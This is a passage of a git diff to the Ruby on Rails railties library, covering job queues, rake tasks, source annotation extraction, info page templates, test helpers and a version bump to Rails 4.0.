+    # A Queue that simply inherits from STDLIB's Queue. Everytime this
+    # queue is used, Rails automatically sets up a ThreadedConsumer
+    # to consume it.
+    class Queue < ::Queue
+    end
+
+    # In test mode, the Rails queue is backed by an Array so that assertions
+    # can be made about its contents. The test queue provides a +jobs+
+    # method to make assertions about the queue's contents and a +drain+
+    # method to drain the queue and run the jobs.
+    #
+    # Jobs are run in a separate thread to catch mistakes where code
+    # assumes that the job is run in the same thread.
+    class TestQueue < ::Queue
+      # Get a list of the jobs off this queue. This method may not be
+      # available on production queues.
+      def jobs
+        @que.dup
+      end
+
+      # Marshal and unmarshal job before pushing it onto the queue.  This will
+      # raise an exception on any attempts in tests to push jobs that can't (or
+      # shouldn't) be marshalled.
+      def push(job)
+        super Marshal.load(Marshal.dump(job))
+      end
+
+      # Drain the queue, running all jobs in a different thread. This method
+      # may not be available on production queues.
+      def drain
+        # run the jobs in a separate thread so assumptions of synchronous
+        # jobs are caught in test mode.
+        Thread.new { pop.run until empty? }.join
+      end
+    end
+
+    # The threaded consumer will run jobs in a background thread in
+    # development mode or in a VM where running jobs on a thread in
+    # production mode makes sense.
+    #
+    # When the process exits, the consumer pushes a nil onto the
+    # queue and joins the thread, which will ensure that all jobs
+    # are executed before the process finally dies.
+    class ThreadedConsumer
+      def self.start(queue)
+        new(queue).start
+      end
+
+      def initialize(queue)
+        @queue = queue
+      end
+
+      def start
+        @thread = Thread.new do
+          while job = @queue.pop
+            begin
+              job.run
+            rescue Exception => e
+              handle_exception e
+            end
+          end
+        end
+        self
+      end
+
+      def shutdown
+        @queue.push nil
+        @thread.join
+      end
+
+      def handle_exception(e)
+        Rails.logger.error "Job Error: #{e.message}\n#{e.backtrace.join("\n")}"
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/rack/debugger.rb b/railties/lib/rails/rack/debugger.rb
index 831188eeee..902361ce77 100644
--- a/railties/lib/rails/rack/debugger.rb
+++ b/railties/lib/rails/rack/debugger.rb
@@ -6,13 +6,13 @@ module Rails
 
         ARGV.clear # clear ARGV so that rails server options aren't passed to IRB
 
-        require 'ruby-debug'
+        require 'debugger'
 
         ::Debugger.start
         ::Debugger.settings[:autoeval] = true if ::Debugger.respond_to?(:settings)
         puts "=> Debugger enabled"
       rescue LoadError
-        puts "You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'"
+        puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle, and try again."
         exit
       end
 
diff --git a/railties/lib/rails/rack/log_tailer.rb b/railties/lib/rails/rack/log_tailer.rb
index 830d840894..18f22e8089 100644
--- a/railties/lib/rails/rack/log_tailer.rb
+++ b/railties/lib/rails/rack/log_tailer.rb
@@ -4,10 +4,13 @@ module Rails
       def initialize(app, log = nil)
         @app = app
 
-        path = Pathname.new(log || "#{File.expand_path(Rails.root)}/log/#{Rails.env}.log").cleanpath
-        @cursor = ::File.size(path)
+        path = Pathname.new(log || "#{::File.expand_path(Rails.root)}/log/#{Rails.env}.log").cleanpath
 
-        @file = ::File.open(path, 'r')
+        @cursor = @file = nil
+        if ::File.exists?(path)
+          @cursor = ::File.size(path)
+          @file = ::File.open(path, 'r')
+        end
       end
 
       def call(env)
@@ -17,6 +20,7 @@ module Rails
       end
 
       def tail!
+        return unless @cursor
         @file.seek @cursor
 
         unless @file.eof?
diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb
index e8fb1f3d98..fba685c769 100644
--- a/railties/lib/rails/railtie.rb
+++ b/railties/lib/rails/railtie.rb
@@ -9,7 +9,7 @@ module Rails
   # Rails and/or modify the initialization process.
   #
   # Every major component of Rails (Action Mailer, Action Controller,
-  # Action View, Active Record and Active Resource) is a Railtie. Each of
+  # Action View and Active Record) is a Railtie. Each of
   # them is responsible for their own initialization. This makes Rails itself
   # absent of any component hooks, allowing other components to be used in
   # place of any of the Rails defaults.
@@ -22,7 +22,7 @@ module Rails
   #
   # * creating initializers
   # * configuring a Rails framework for the application, like setting a generator
-  # * adding config.* keys to the environment
+  # * +adding config.*+ keys to the environment
   # * setting up a subscriber with ActiveSupport::Notifications
   # * adding rake tasks
   #
@@ -103,11 +103,11 @@ module Rails
   #     end
   #   end
   #
-  # == Application, Plugin and Engine
+  # == Application and Engine
   #
   # A Rails::Engine is nothing more than a Railtie with some initializers already set.
-  # And since Rails::Application and Rails::Plugin are engines, the same configuration
-  # described here can be used in all three.
+  # And since Rails::Application is an engine, the same configuration described here
+  # can be used in both.
   #
   # Be sure to look at the documentation of those specific classes for more information.
   #
@@ -117,7 +117,7 @@ module Rails
 
     include Initializable
 
-    ABSTRACT_RAILTIES = %w(Rails::Railtie Rails::Plugin Rails::Engine Rails::Application)
+    ABSTRACT_RAILTIES = %w(Rails::Railtie Rails::Engine Rails::Application)
 
     class << self
       private :new
@@ -145,6 +145,12 @@ module Rails
         @load_console
       end
 
+      def runner(&blk)
+        @load_runner ||= []
+        @load_runner << blk if blk
+        @load_runner
+      end
+
       def generators(&blk)
         @generators ||= []
         @generators << blk if blk
@@ -162,7 +168,7 @@ module Rails
 
       protected
         def generate_railtie_name(class_or_module)
-          ActiveSupport::Inflector.underscore(class_or_module).gsub("/", "_")
+          ActiveSupport::Inflector.underscore(class_or_module).tr("/", "_")
         end
     end
 
@@ -172,31 +178,35 @@ module Rails
       @config ||= Railtie::Configuration.new
     end
 
-    def eager_load!
+    def railtie_namespace
+      @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:railtie_namespace) }
     end
 
-    def load_console(app=self)
+    protected
+
+    def run_console_blocks(app) #:nodoc:
       self.class.console.each { |block| block.call(app) }
     end
 
-    def load_tasks(app=self)
-      extend Rake::DSL if defined? Rake::DSL
-      self.class.rake_tasks.each { |block| block.call(app) }
+    def run_generators_blocks(app) #:nodoc:
+      self.class.generators.each { |block| block.call(app) }
+    end
+
+    def run_runner_blocks(app) #:nodoc:
+      self.class.runner.each { |block| block.call(app) }
+    end
+
+    def run_tasks_blocks(app) #:nodoc:
+      extend Rake::DSL
+      self.class.rake_tasks.each { |block| instance_exec(app, &block) }
 
-      # load also tasks from all superclasses
+      # Load also tasks from all superclasses
       klass = self.class.superclass
+
       while klass.respond_to?(:rake_tasks)
-        klass.rake_tasks.each { |t| self.instance_exec(app, &t) }
+        klass.rake_tasks.each { |t| instance_exec(app, &t) }
         klass = klass.superclass
       end
     end
-
-    def load_generators(app=self)
-      self.class.generators.each { |block| block.call(app) }
-    end
-
-    def railtie_namespace
-      @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:_railtie) }
-    end
   end
 end
diff --git a/railties/lib/rails/railtie/configuration.rb b/railties/lib/rails/railtie/configuration.rb
index f888684117..9dc8843887 100644
--- a/railties/lib/rails/railtie/configuration.rb
+++ b/railties/lib/rails/railtie/configuration.rb
@@ -7,6 +7,28 @@ module Rails
         @@options ||= {}
       end
 
+      # Expose the eager_load_namespaces at "module" level for convenience.
+      def self.eager_load_namespaces #:nodoc:
+        @@eager_load_namespaces ||= []
+      end
+
+      # All namespaces that are eager loaded
+      def eager_load_namespaces
+        @@eager_load_namespaces ||= []
+      end
+
+      # Add files that should be watched for change.
+      def watchable_files
+        @@watchable_files ||= []
+      end
+
+      # Add directories that should be watched for change.
+      # The key of the hashes should be directories and the values should
+      # be an array of extensions to match in each directory.
+      def watchable_dirs
+        @@watchable_dirs ||= {}
+      end
+
       # This allows you to modify the application's middlewares from Engines.
       #
       # All operations you run on the app_middleware will be replayed on the
@@ -31,7 +53,7 @@ module Rails
         ActiveSupport.on_load(:before_configuration, :yield => true, &block)
       end
 
-      # Third configurable block to run. Does not run if config.cache_classes
+      # Third configurable block to run. Does not run if +config.cache_classes+
       # set to false.
       def before_eager_load(&block)
         ActiveSupport.on_load(:before_eager_load, :yield => true, &block)
diff --git a/railties/lib/rails/ruby_version_check.rb b/railties/lib/rails/ruby_version_check.rb
index 4d57c5973c..4536fedaa3 100644
--- a/railties/lib/rails/ruby_version_check.rb
+++ b/railties/lib/rails/ruby_version_check.rb
@@ -1,8 +1,8 @@
-if RUBY_VERSION < '1.8.7'
+if RUBY_VERSION < '1.9.3'
   desc = defined?(RUBY_DESCRIPTION) ? RUBY_DESCRIPTION : "ruby #{RUBY_VERSION} (#{RUBY_RELEASE_DATE})"
   abort <<-end_message
 
-    Rails 3 requires Ruby 1.8.7 or 1.9.2.
+    Rails 4 requires Ruby 1.9.3+.
 
     You're running
       #{desc}
@@ -10,14 +10,4 @@ if RUBY_VERSION < '1.8.7'
     Please upgrade to continue.
 
   end_message
-elsif RUBY_VERSION > '1.9' and RUBY_VERSION < '1.9.2'
-  $stderr.puts <<-end_message
-
-    Rails 3 doesn't officially support Ruby 1.9.1 since recent stable
-    releases have segfaulted the test suite. Please upgrade to Ruby 1.9.2.
-
-    You're running
-      #{RUBY_DESCRIPTION}
-
-  end_message
 end
diff --git a/railties/lib/rails/rubyprof_ext.rb b/railties/lib/rails/rubyprof_ext.rb
index f6e90357ce..017eba3a76 100644
--- a/railties/lib/rails/rubyprof_ext.rb
+++ b/railties/lib/rails/rubyprof_ext.rb
@@ -12,7 +12,7 @@ module Prof #:nodoc:
     io.puts " time   seconds   seconds    calls  ms/call  ms/call  name"
 
     sum = 0.0
-    for r in results
+    results.each do |r|
       sum += r.self_time
 
       name =  if r.method_class.nil?
diff --git a/railties/lib/rails/source_annotation_extractor.rb b/railties/lib/rails/source_annotation_extractor.rb
index 1eed763aa3..31e34023c0 100644
--- a/railties/lib/rails/source_annotation_extractor.rb
+++ b/railties/lib/rails/source_annotation_extractor.rb
@@ -14,6 +14,9 @@
 # of the line (or closing ERB comment tag) is considered to be their text.
 class SourceAnnotationExtractor
   class Annotation < Struct.new(:line, :tag, :text)
+    def self.directories
+      @@directories ||= %w(app config lib script test) + (ENV['SOURCE_ANNOTATION_DIRECTORIES'] || '').split(',')
+    end
 
     # Returns a representation of the annotation that looks like this:
     #
@@ -22,7 +25,7 @@ class SourceAnnotationExtractor
     # If +options+ has a flag <tt>:tag</tt> the tag is shown as in the example above.
     # Otherwise the string contains just line and text.
     def to_s(options={})
-      s = "[%3d] " % line
+      s = "[#{line.to_s.rjust(options[:indent])}] "
       s << "[#{tag}] " if options[:tag]
       s << text
     end
@@ -30,8 +33,9 @@ class SourceAnnotationExtractor
 
   # Prints all annotations with tag +tag+ under the root directories +app+, +config+, +lib+,
   # +script+, and +test+ (recursively). Only filenames with extension 
-  # +.builder+, +.rb+, +.rxml+, +.rhtml+, or +.erb+ are taken into account. The +options+
-  # hash is passed to each annotation's +to_s+.
+  # +.builder+, +.rb+, +.erb+, +.haml+, +.slim+, +.css+, +.scss+, +.js+, and
+  # +.coffee+ are taken into account. The +options+ hash is passed to each
+  # annotation's +to_s+.
   #
   # This class method is the single entry point for the rake tasks.
   def self.enumerate(tag, options={})
@@ -46,16 +50,15 @@ class SourceAnnotationExtractor
   end
 
   # Returns a hash that maps filenames under +dirs+ (recursively) to arrays
-  # with their annotations. Only files with annotations are included, and only
-  # those with extension +.builder+, +.rb+, +.rxml+, +.rhtml+, and +.erb+
-  # are taken into account.
-  def find(dirs=%w(app config lib script test))
+  # with their annotations.
+  def find(dirs = Annotation.directories)
     dirs.inject({}) { |h, dir| h.update(find_in(dir)) }
   end
 
   # Returns a hash that maps filenames under +dir+ (recursively) to arrays
   # with their annotations. Only files with annotations are included, and only
-  # those with extension +.builder+, +.rb+, +.rxml+, +.rhtml+, and +.erb+
+  # those with extension +.builder+, +.rb+, +.erb+, +.haml+, +.slim+, +.css+,
+  # +.scss+, +.js+, and +.coffee+
   # are taken into account.
   def find_in(dir)
     results = {}
@@ -65,10 +68,16 @@ class SourceAnnotationExtractor
 
       if File.directory?(item)
         results.update(find_in(item))
-      elsif item =~ /\.(builder|(r(?:b|xml|js)))$/
+      elsif item =~ /\.(builder|rb|coffee)$/
         results.update(extract_annotations_from(item, /#\s*(#{tag}):?\s*(.*)$/))
-      elsif item =~ /\.(rhtml|erb)$/
+      elsif item =~ /\.(css|scss|js)$/
+        results.update(extract_annotations_from(item, /\/\/\s*(#{tag}):?\s*(.*)$/))
+      elsif item =~ /\.erb$/
         results.update(extract_annotations_from(item, /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/))
+      elsif item =~ /\.haml$/
+        results.update(extract_annotations_from(item, /-\s*#\s*(#{tag}):?\s*(.*)$/))
+      elsif item =~ /\.slim$/
+        results.update(extract_annotations_from(item, /\/\s*\s*(#{tag}):?\s*(.*)$/))
       end
     end
 
@@ -91,6 +100,7 @@ class SourceAnnotationExtractor
   # Prints the mapping from filenames to annotations in +results+ ordered by filename.
   # The +options+ hash is passed to each annotation's +to_s+.
   def display(results, options={})
+    options[:indent] = results.map { |f, a| a.map(&:line) }.flatten.max.to_s.size
     results.keys.sort.each do |file|
       puts "#{file}:"
       results[file].each do |note|
diff --git a/railties/lib/rails/tasks/documentation.rake b/railties/lib/rails/tasks/documentation.rake
index 2072a2b947..2851ca4189 100644
--- a/railties/lib/rails/tasks/documentation.rake
+++ b/railties/lib/rails/tasks/documentation.rake
@@ -1,10 +1,4 @@
-begin
-  require 'rdoc/task'
-rescue LoadError
-  require 'rdoc/rdoc'
-  require 'rake/rdoctask'
-  RDoc::Task = Rake::RDocTask
-end
+require 'rdoc/task'
 
 # Monkey-patch to remove redoc'ing and clobber descriptions to cut down on rake -T noise
 class RDocTaskWithoutDescriptions < RDoc::Task
@@ -55,7 +49,7 @@ namespace :doc do
     rdoc.rdoc_files.include('app/**/*.rb')
     rdoc.rdoc_files.include('lib/**/*.rb')
   }
-  Rake::Task['doc:app'].comment = "Generate docs for the app -- also available doc:rails, doc:guides, doc:plugins (options: TEMPLATE=/rdoc-template.rb, TITLE=\"Custom Title\")"
+  Rake::Task['doc:app'].comment = "Generate docs for the app -- also available doc:rails, doc:guides (options: TEMPLATE=/rdoc-template.rb, TITLE=\"Custom Title\")"
 
   # desc 'Generate documentation for the Rails framework.'
   RDocTaskWithoutDescriptions.new("rails") { |rdoc|
@@ -63,7 +57,7 @@ namespace :doc do
     rdoc.template = "#{ENV['template']}.rb" if ENV['template']
     rdoc.title    = "Rails Framework Documentation"
     rdoc.options << '--line-numbers'
-    rdoc.rdoc_files.include('README')
+    rdoc.rdoc_files.include('README.rdoc')
 
     gem_path('actionmailer') do |actionmailer|
       %w(README.rdoc CHANGELOG.md MIT-LICENSE lib/action_mailer/base.rb).each do |file|
@@ -89,67 +83,23 @@ namespace :doc do
       end
     end
 
-    gem_path('activeresource') do |activeresource|
-      %w(README.rdoc CHANGELOG.md lib/active_resource.rb lib/active_resource/*).each do |file|
-        rdoc.rdoc_files.include("#{activeresource}/#{file}")
-      end
-    end
-
     gem_path('activesupport') do |activesupport|
-      %w(README.rdoc CHANGELOG lib/active_support/**/*.rb).each do |file|
+      %w(README.rdoc CHANGELOG.md lib/active_support/**/*.rb).each do |file|
         rdoc.rdoc_files.include("#{activesupport}/#{file}")
       end
     end
 
     gem_path('railties') do |railties|
-      %w(README.rdoc CHANGELOG lib/{*.rb,commands/*.rb,generators/*.rb}).each do |file|
+      %w(README.rdoc CHANGELOG.md lib/{*.rb,commands/*.rb,generators/*.rb}).each do |file|
         rdoc.rdoc_files.include("#{railties}/#{file}")
       end
     end
   }
 
-  plugins = FileList['vendor/plugins/**'].collect { |plugin| File.basename(plugin) }
-
-  # desc "Generate documentation for all installed plugins"
-  task :plugins => plugins.collect { |plugin| "doc:plugins:#{plugin}" }
-
-  # desc "Remove plugin documentation"
-  task :clobber_plugins do
-    rm_rf 'doc/plugins' rescue nil
-  end
-
   # desc "Generate Rails Guides"
   task :guides do
     # FIXME: Reaching outside lib directory is a bad idea
     require File.expand_path('../../../../guides/rails_guides', __FILE__)
     RailsGuides::Generator.new(Rails.root.join("doc/guides")).generate
   end
-
-  namespace :plugins do
-    # Define doc tasks for each plugin
-    plugins.each do |plugin|
-      # desc "Generate documentation for the #{plugin} plugin"
-      task(plugin => :environment) do
-        plugin_base   = "vendor/plugins/#{plugin}"
-        options       = []
-        files         = Rake::FileList.new
-        options << "-o doc/plugins/#{plugin}"
-        options << "--title '#{plugin.titlecase} Plugin Documentation'"
-        options << '--line-numbers'
-        options << '--charset' << 'utf-8'
-        options << '-T html'
-
-        files.include("#{plugin_base}/lib/**/*.rb")
-        if File.exist?("#{plugin_base}/README")
-          files.include("#{plugin_base}/README")
-          options << "--main '#{plugin_base}/README'"
-        end
-        files.include("#{plugin_base}/CHANGELOG") if File.exist?("#{plugin_base}/CHANGELOG")
-
-        options << files.to_s
-
-        sh %(rdoc #{options * ' '})
-      end
-    end
-  end
 end
diff --git a/railties/lib/rails/tasks/engine.rake b/railties/lib/rails/tasks/engine.rake
index eea8abe7d2..70370be3f5 100644
--- a/railties/lib/rails/tasks/engine.rake
+++ b/railties/lib/rails/tasks/engine.rake
@@ -60,7 +60,7 @@ namespace :db do
 end
 
 def find_engine_path(path)
-  return if path == "/"
+  return File.expand_path(Dir.pwd) if path == "/"
 
   if Rails::Engine.find(path)
     path
diff --git a/railties/lib/rails/tasks/framework.rake b/railties/lib/rails/tasks/framework.rake
index 206ce39773..f9cff5b627 100644
--- a/railties/lib/rails/tasks/framework.rake
+++ b/railties/lib/rails/tasks/framework.rake
@@ -20,7 +20,7 @@ namespace :rails do
       project_templates = "#{Rails.root}/lib/templates"
 
       default_templates = { "erb"   => %w{controller mailer scaffold},
-                            "rails" => %w{controller helper scaffold_controller stylesheets} }
+                            "rails" => %w{controller helper scaffold_controller assets} }
 
       default_templates.each do |type, names|
         local_template_type_dir = File.join(project_templates, type)
diff --git a/railties/lib/rails/tasks/misc.rake b/railties/lib/rails/tasks/misc.rake
index 0dcca36d8b..0a9b9ff4ff 100644
--- a/railties/lib/rails/tasks/misc.rake
+++ b/railties/lib/rails/tasks/misc.rake
@@ -1,10 +1,3 @@
-task :rails_env do
-  # TODO Do we really need this?
-  unless defined? RAILS_ENV
-    RAILS_ENV = ENV['RAILS_ENV'] ||= 'development'
-  end
-end
-
 desc 'Generate a cryptographically secure secret key (this is typically used to generate a secret for cookie sessions).'
 task :secret do
   require 'securerandom'
diff --git a/railties/lib/rails/tasks/routes.rake b/railties/lib/rails/tasks/routes.rake
index 7dc54144da..95f47566ef 100644
--- a/railties/lib/rails/tasks/routes.rake
+++ b/railties/lib/rails/tasks/routes.rake
@@ -1,9 +1,7 @@
 desc 'Print out all defined routes in match order, with names. Target specific controller with CONTROLLER=x.'
 task :routes => :environment do
-  Rails.application.reload_routes!
   all_routes = Rails.application.routes.routes
-
-  require 'rails/application/route_inspector'
-  inspector = Rails::Application::RouteInspector.new
+  require 'action_dispatch/routing/inspector'
+  inspector = ActionDispatch::Routing::RoutesInspector.new
   puts inspector.format(all_routes, ENV['CONTROLLER']).join "\n"
 end
diff --git a/railties/lib/rails/tasks/statistics.rake b/railties/lib/rails/tasks/statistics.rake
index 40f8c1034a..67a6d2d2ac 100644
--- a/railties/lib/rails/tasks/statistics.rake
+++ b/railties/lib/rails/tasks/statistics.rake
@@ -2,6 +2,8 @@ STATS_DIRECTORIES = [
   %w(Controllers        app/controllers),
   %w(Helpers            app/helpers),
   %w(Models             app/models),
+  %w(Mailers            app/mailers),
+  %w(Javascripts        app/assets/javascripts),
   %w(Libraries          lib/),
   %w(APIs               app/apis),
   %w(Integration\ tests test/integration),
diff --git a/railties/lib/rails/tasks/tmp.rake b/railties/lib/rails/tasks/tmp.rake
index 0d6c10328f..0968765b4f 100644
--- a/railties/lib/rails/tasks/tmp.rake
+++ b/railties/lib/rails/tasks/tmp.rake
@@ -2,10 +2,16 @@ namespace :tmp do
   desc "Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear)"
   task :clear => [ "tmp:sessions:clear",  "tmp:cache:clear", "tmp:sockets:clear"]
 
+  tmp_dirs = [ 'tmp/sessions',
+               'tmp/cache',
+               'tmp/sockets',
+               'tmp/pids',
+               'tmp/cache/assets' ]
+
+  tmp_dirs.each { |d| directory d }
+
   desc "Creates tmp directories for sessions, cache, sockets, and pids"
-  task :create do
-    FileUtils.mkdir_p(%w( tmp/sessions tmp/cache tmp/sockets tmp/pids tmp/cache/assets ))
-  end
+  task :create => tmp_dirs
 
   namespace :sessions do
     # desc "Clears all files in tmp/sessions"
diff --git a/railties/lib/rails/templates/layouts/application.html.erb b/railties/lib/rails/templates/layouts/application.html.erb
new file mode 100644
index 0000000000..53276d3e7c
--- /dev/null
+++ b/railties/lib/rails/templates/layouts/application.html.erb
@@ -0,0 +1,32 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="utf-8" />
+  <title>Routes</title>
+  <style>
+    body { background-color: #fff; color: #333; }
+
+    body, p, ol, ul, td {
+      font-family: helvetica, verdana, arial, sans-serif;
+      font-size:   13px;
+      line-height: 18px;
+    }
+
+    pre {
+      background-color: #eee;
+      padding: 10px;
+      font-size: 11px;
+      white-space: pre-wrap;
+    }
+
+    a { color: #000; }
+    a:visited { color: #666; }
+    a:hover { color: #fff; background-color:#000; }
+  </style>
+</head>
+<body>
+<h2>Your App: <%= link_to 'properties', '/rails/info/properties' %> | <%= link_to 'routes', '/rails/info/routes' %></h2>
+<%= yield %>
+
+</body>
+</html>
diff --git a/railties/lib/rails/templates/rails/info/properties.html.erb b/railties/lib/rails/templates/rails/info/properties.html.erb
new file mode 100644
index 0000000000..d47cbab202
--- /dev/null
+++ b/railties/lib/rails/templates/rails/info/properties.html.erb
@@ -0,0 +1 @@
+<%= @info.html_safe %>
\ No newline at end of file
diff --git a/railties/lib/rails/templates/rails/info/routes.html.erb b/railties/lib/rails/templates/rails/info/routes.html.erb
new file mode 100644
index 0000000000..890f6f5b03
--- /dev/null
+++ b/railties/lib/rails/templates/rails/info/routes.html.erb
@@ -0,0 +1,9 @@
+<h2>
+  Routes
+</h2>
+
+<p>
+  Routes match in priority from top to bottom
+</p>
+
+<p><pre><%= @info %></pre></p>
\ No newline at end of file
diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb
index 8d0d8cacac..581ceaf9ce 100644
--- a/railties/lib/rails/test_help.rb
+++ b/railties/lib/rails/test_help.rb
@@ -2,38 +2,25 @@
 # so fixtures aren't loaded into that environment
 abort("Abort testing: Your Rails environment is running in production mode!") if Rails.env.production?
 
-require 'test/unit'
+require 'minitest/autorun'
 require 'active_support/test_case'
 require 'action_controller/test_case'
 require 'action_dispatch/testing/integration'
 
-if defined?(Test::Unit::Util::BacktraceFilter) && ENV['BACKTRACE'].nil?
-  require 'rails/backtrace_cleaner'
-  Test::Unit::Util::BacktraceFilter.module_eval { include Rails::BacktraceFilterForTestUnit }
-end
-
-if defined?(MiniTest)
-  # Enable turn if it is available
-  begin
-    require 'turn'
+# Enable turn if it is available
+begin
+  require 'turn'
 
-    if MiniTest::Unit.respond_to?(:use_natural_language_case_names=)
-      MiniTest::Unit.use_natural_language_case_names = true
-    end
-  rescue LoadError
+  Turn.config do |c|
+    c.natural = true
   end
+rescue LoadError
 end
 
 if defined?(ActiveRecord::Base)
-  require 'active_record/test_case'
-
   class ActiveSupport::TestCase
     include ActiveRecord::TestFixtures
     self.fixture_path = "#{Rails.root}/test/fixtures/"
-
-    setup do
-      ActiveRecord::IdentityMap.clear
-    end
   end
 
   ActionDispatch::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path
diff --git a/railties/lib/rails/test_unit/sub_test_task.rb b/railties/lib/rails/test_unit/sub_test_task.rb
new file mode 100644
index 0000000000..87b6f9b5a4
--- /dev/null
+++ b/railties/lib/rails/test_unit/sub_test_task.rb
@@ -0,0 +1,8 @@
+module Rails
+  # Silence the default description to cut down on `rake -T` noise.
+  class SubTestTask < Rake::TestTask
+    def desc(string)
+      # Ignore the description.
+    end
+  end
+end
diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake
index 8bcceb9b2c..0de4afe905 100644
--- a/railties/lib/rails/test_unit/testing.rake
+++ b/railties/lib/rails/test_unit/testing.rake
@@ -1,35 +1,6 @@
 require 'rbconfig'
 require 'rake/testtask'
-
-# Monkey-patch to silence the description from Rake::TestTask to cut down on rake -T noise
-class TestTaskWithoutDescription < Rake::TestTask
-  # Create the tasks defined by this task lib.
-  def define
-    lib_path = @libs.join(File::PATH_SEPARATOR)
-    task @name do
-      run_code = ''
-      RakeFileUtils.verbose(@verbose) do
-        run_code =
-          case @loader
-          when :direct
-            "-e 'ARGV.each{|f| load f}'"
-          when :testrb
-            "-S testrb #{fix}"
-          when :rake
-            rake_loader
-          end
-        @ruby_opts.unshift( "-I\"#{lib_path}\"" )
-        @ruby_opts.unshift( "-w" ) if @warning
-        ruby @ruby_opts.join(" ") +
-          " \"#{run_code}\" " +
-          file_list.collect { |fn| "\"#{fn}\"" }.join(' ') +
-          " #{option_list}"
-      end
-    end
-    self
-  end
-end
-
+require 'rails/test_unit/sub_test_task'
 
 TEST_CHANGES_SINCE = Time.now - 600
 
@@ -74,22 +45,9 @@ end
 
 task :default => :test
 
-desc 'Runs test:units, test:functionals, test:integration together (also available: test:benchmark, test:profile, test:plugins)'
+desc 'Runs test:units, test:functionals, test:integration together (also available: test:benchmark, test:profile)'
 task :test do
-  tests_to_run = ENV['TEST'] ? ["test:single"] : %w(test:units test:functionals test:integration)
-  errors = tests_to_run.collect do |task|
-    begin
-      Rake::Task[task].invoke
-      nil
-    rescue => e
-      { :task => task, :exception => e }
-    end
-  end.compact
-  
-  if errors.any?
-    puts errors.map { |e| "Errors running #{e[:task]}! #{e[:exception].inspect}" }.join("\n")
-    abort
-  end
+  Rake::Task[ENV['TEST'] ? 'test:single' : 'test:run'].invoke
 end
 
 namespace :test do
@@ -97,6 +55,22 @@ namespace :test do
     # Placeholder task for other Railtie and plugins to enhance. See Active Record for an example.
   end
 
+  task :run do
+    errors = %w(test:units test:functionals test:integration).collect do |task|
+      begin
+        Rake::Task[task].invoke
+        nil
+      rescue => e
+        { :task => task, :exception => e }
+      end
+    end.compact
+
+    if errors.any?
+      puts errors.map { |e| "Errors running #{e[:task]}! #{e[:exception].inspect}" }.join("\n")
+      abort
+    end
+  end
+
   Rake::TestTask.new(:recent => "test:prepare") do |t|
     since = TEST_CHANGES_SINCE
     touched = FileList['test/**/*_test.rb'].select { |path| File.mtime(path) > since } +
@@ -113,7 +87,7 @@ namespace :test do
       if File.directory?(".svn")
         changed_since_checkin = silence_stderr { `svn status` }.split.map { |path| path.chomp[7 .. -1] }
       elsif File.directory?(".git")
-        changed_since_checkin = silence_stderr { `git ls-files --modified --others` }.split.map { |path| path.chomp }
+        changed_since_checkin = silence_stderr { `git ls-files --modified --others --exclude-standard` }.split.map { |path| path.chomp }
       else
         abort "Not a Subversion or Git checkout."
       end
@@ -121,16 +95,9 @@ namespace :test do
       models      = changed_since_checkin.select { |path| path =~ /app[\\\/]models[\\\/].*\.rb$/ }
       controllers = changed_since_checkin.select { |path| path =~ /app[\\\/]controllers[\\\/].*\.rb$/ }
 
-      unit_tests = models.map do |model|
-        file = "test/unit/#{File.basename(model, '.rb')}_test.rb"
-        file if File.exist?(file)
-      end
-      functional_tests = controllers.map do |controller|
-        file = "test/functional/#{File.basename(controller, '.rb')}_test.rb"
-        file if File.exist?(file)
-      end
-
-      (unit_tests.uniq + functional_tests.uniq).compact
+      unit_tests       = models.map { |model| "test/unit/#{File.basename(model, '.rb')}_test.rb" }
+      functional_tests = controllers.map { |controller| "test/functional/#{File.basename(controller, '.rb')}_test.rb" }
+      (unit_tests + functional_tests).uniq.select { |file| File.exist?(file) }
     end
 
     t.libs << 'test'
@@ -141,39 +108,29 @@ namespace :test do
     t.libs << "test"
   end
 
-  TestTaskWithoutDescription.new(:units => "test:prepare") do |t|
+  Rails::SubTestTask.new(:units => "test:prepare") do |t|
     t.libs << "test"
     t.pattern = 'test/unit/**/*_test.rb'
   end
 
-  TestTaskWithoutDescription.new(:functionals => "test:prepare") do |t|
+  Rails::SubTestTask.new(:functionals => "test:prepare") do |t|
     t.libs << "test"
     t.pattern = 'test/functional/**/*_test.rb'
   end
 
-  TestTaskWithoutDescription.new(:integration => "test:prepare") do |t|
+  Rails::SubTestTask.new(:integration => "test:prepare") do |t|
     t.libs << "test"
     t.pattern = 'test/integration/**/*_test.rb'
   end
 
-  TestTaskWithoutDescription.new(:benchmark => 'test:prepare') do |t|
+  Rails::SubTestTask.new(:benchmark => 'test:prepare') do |t|
     t.libs << 'test'
     t.pattern = 'test/performance/**/*_test.rb'
     t.options = '-- --benchmark'
   end
 
-  TestTaskWithoutDescription.new(:profile => 'test:prepare') do |t|
+  Rails::SubTestTask.new(:profile => 'test:prepare') do |t|
     t.libs << 'test'
     t.pattern = 'test/performance/**/*_test.rb'
   end
-
-  TestTaskWithoutDescription.new(:plugins => :environment) do |t|
-    t.libs << "test"
-
-    if ENV['PLUGIN']
-      t.pattern = "vendor/plugins/#{ENV['PLUGIN']}/test/**/*_test.rb"
-    else
-      t.pattern = 'vendor/plugins/*/**/test/**/*_test.rb'
-    end
-  end
 end
diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb
index 254227ecf7..ec878f9dcf 100644
--- a/railties/lib/rails/version.rb
+++ b/railties/lib/rails/version.rb
@@ -1,7 +1,7 @@
 module Rails
   module VERSION #:nodoc:
-    MAJOR = 3
-    MINOR = 2
+    MAJOR = 4
+    MINOR = 0
     TINY  = 0
     PRE   = "beta"
 
diff --git a/railties/railties.gemspec b/railties/railties.gemspec
index a7b9407daf..6d28947e83 100644
--- a/railties/railties.gemspec
+++ b/railties/railties.gemspec
@@ -6,13 +6,14 @@ Gem::Specification.new do |s|
   s.version     = version
